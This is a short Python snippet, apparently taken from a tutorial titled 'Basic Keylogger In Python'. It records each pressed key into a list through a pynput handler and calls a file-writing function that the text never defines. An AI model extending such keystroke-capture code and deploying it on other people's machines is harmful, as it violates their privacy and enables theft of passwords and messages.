Basic Keylogger In Python

Source URL: https://pyshark.com/create-a-keylogger-using-python/

Language: python

Created on: 2021-08-15 16:13:41

#Import required modules
from pynput.keyboard import Key
#Create an empty list to store pressed keys
keys = []
#Create a function that defines what to do on each key press
def on_each_key_press(key):
    #Append each pressed key to a list
    keys.append(key)
    #Write list to file after each key pressed
    write_keys_to_file(keys)
Basic Keylogger In Python
content_copy